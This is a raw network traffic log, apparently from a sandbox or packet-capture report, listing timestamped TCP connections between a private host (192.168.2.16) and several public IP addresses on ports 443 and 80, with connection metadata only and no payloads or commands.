Dec 17, 2024 22:24:59.885988951 CET	49749	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:59.886071920 CET	443	49749	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:59.886213064 CET	49749	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:24:59.886221886 CET	443	49749	172.217.19.238	192.168.2.16
Dec 17, 2024 22:24:59.930512905 CET	49749	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:25:00.295907974 CET	49699	80	192.168.2.16	2.22.50.144
Dec 17, 2024 22:25:00.296041012 CET	49701	80	192.168.2.16	2.22.50.144
Dec 17, 2024 22:25:00.599908113 CET	49699	80	192.168.2.16	2.22.50.144
Dec 17, 2024 22:25:00.631869078 CET	49701	80	192.168.2.16	2.22.50.144
Dec 17, 2024 22:25:00.726387024 CET	80	49699	2.22.50.144	192.168.2.16
Dec 17, 2024 22:25:00.726625919 CET	80	49699	2.22.50.144	192.168.2.16
Dec 17, 2024 22:25:00.726790905 CET	49699	80	192.168.2.16	2.22.50.144
Dec 17, 2024 22:25:00.727132082 CET	80	49701	2.22.50.144	192.168.2.16
Dec 17, 2024 22:25:00.727195978 CET	49701	80	192.168.2.16	2.22.50.144
Dec 17, 2024 22:25:00.751760960 CET	80	49701	2.22.50.144	192.168.2.16
Dec 17, 2024 22:25:00.793780088 CET	443	49749	172.217.19.238	192.168.2.16
Dec 17, 2024 22:25:00.793828964 CET	443	49749	172.217.19.238	192.168.2.16
Dec 17, 2024 22:25:00.794023991 CET	49749	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:25:00.794038057 CET	443	49749	172.217.19.238	192.168.2.16
Dec 17, 2024 22:25:00.794629097 CET	49749	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:25:00.794653893 CET	49749	443	192.168.2.16	172.217.19.238
Dec 17, 2024 22:25:00.962666988 CET	443	49753	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:00.963052034 CET	49753	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:00.963090897 CET	443	49753	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:00.963692904 CET	443	49753	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:00.964128971 CET	49753	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:00.964195967 CET	443	49753	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:00.964306116 CET	49753	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:01.011334896 CET	443	49753	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:01.623090982 CET	443	49753	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:01.623167038 CET	443	49753	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:01.623271942 CET	49753	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:01.623986959 CET	49753	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:01.624010086 CET	443	49753	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:01.677881002 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:01.677947998 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:01.678045988 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:01.678256035 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:01.678272963 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:03.402764082 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:03.403213978 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:03.403243065 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:03.404366016 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:03.404453039 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:03.404831886 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:03.404901028 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:03.404989004 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:03.405003071 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:03.457876921 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.318089008 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.318223953 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.318298101 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.318319082 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.318348885 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.318380117 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.318434000 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.318490982 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.318517923 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.329998970 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.330084085 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.330183029 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.332503080 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.332521915 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.366785049 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.433027983 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.433181047 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.433249950 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.433300018 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.447222948 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.447302103 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.447329998 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.447356939 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.447407961 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.505547047 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.511372089 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.511439085 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.511451960 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.527359962 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.527427912 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.527443886 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.538780928 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.538852930 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.538866997 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.552409887 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.552489042 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.552505016 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.568240881 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.568314075 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.568345070 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.579859972 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.579950094 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.579961061 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.622829914 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.622891903 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.629292011 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.629396915 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.629426956 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.629436016 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.629482031 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.635987997 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.643280029 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.643455029 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.643461943 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.686985016 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.704015970 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.712121010 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.712189913 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.712203979 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.716211081 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.716272116 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.716279030 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.726077080 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.726144075 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.726160049 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.726176023 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.726222992 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.740871906 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.763468027 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.763509035 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.763641119 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.763663054 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.763714075 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.769927025 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.776612997 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.776771069 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.776880980 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.776895046 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.777090073 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.788095951 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.799426079 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.799500942 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.799588919 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.799604893 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.799647093 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.811239004 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.820370913 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.820447922 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.820461988 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.828986883 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.829075098 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.829078913 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.829097986 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.829154015 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.839148045 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.845808983 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.845885992 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.845900059 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.852612972 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.852674007 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.852694035 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.859545946 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.859615088 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.859627008 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.866173029 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.866235018 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.866246939 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.891263962 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.891407013 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.891413927 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.891438961 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.891491890 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.895566940 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.901422977 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.901510000 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.901515007 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.901536942 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.901593924 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.917386055 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.919370890 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.919439077 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.919441938 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.919464111 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.919506073 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.924091101 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.928845882 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.928910017 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.928927898 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.935693979 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.935762882 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.935770988 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.935784101 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.935825109 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.942358971 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.950022936 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.950145960 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.950170040 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.950388908 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.950447083 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.950453043 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.957988024 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.958067894 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.958074093 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.965114117 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.965181112 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.965187073 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.970583916 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.970662117 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.970678091 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.976717949 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.976787090 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.976804972 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.986159086 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.986217976 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.986231089 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.988636971 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.988715887 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.988729954 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.994817972 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:04.994884014 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:04.994895935 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.001012087 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.001082897 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.001095057 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.006917953 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.007035017 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.007061958 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.013169050 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.013262987 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.013277054 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.018997908 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.019078970 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.019093037 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.024903059 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.024987936 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.025000095 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.030761957 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.030848980 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.030867100 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.040152073 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.040232897 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.040257931 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.044101954 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.044177055 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.044186115 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.047741890 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.047806025 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.047817945 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.052860022 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.052917957 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.052930117 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.057939053 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.058068037 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.058079958 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.063302040 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.063402891 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.063414097 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.067723989 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.067790985 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.067796946 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.068562031 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.068619013 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.068624020 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.073405027 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.073465109 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.073472977 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.078226089 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.078295946 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.078303099 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.083395958 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.083564043 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.083570957 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.087848902 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.087910891 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.087918043 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.092430115 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.092488050 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.092494011 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.096430063 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.096492052 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.096498013 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.100111961 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.100167036 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.100172997 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.104108095 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.104167938 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.104173899 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.107913017 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.107975006 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.107980967 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.111618996 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.111677885 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.111684084 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.115379095 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.115441084 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.115446091 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.118279934 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.118335009 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.118340969 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.121923923 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.121982098 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.121987104 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.125921965 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:05.125988007 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.126168013 CET	49754	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:05.126183033 CET	443	49754	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:06.042649031 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:06.043026924 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:06.043054104 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:06.043919086 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:06.044321060 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:06.044403076 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:06.044495106 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:06.087332964 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.079904079 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.079974890 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.080017090 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.080034018 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.080054998 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.080082893 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.086757898 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.086819887 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.086827993 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.127801895 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.198723078 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.198786020 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.198844910 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.198856115 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.212378025 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.212455034 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.212461948 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.255836010 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.255851984 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.269655943 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.269778967 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.269785881 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.275794983 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.275868893 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.275873899 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.287651062 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.287725925 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.287733078 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.311079025 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.311150074 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.311158895 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.318865061 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.318944931 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.318949938 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.326124907 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.326191902 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.326196909 CET	443	49755	142.250.181.132	192.168.2.16
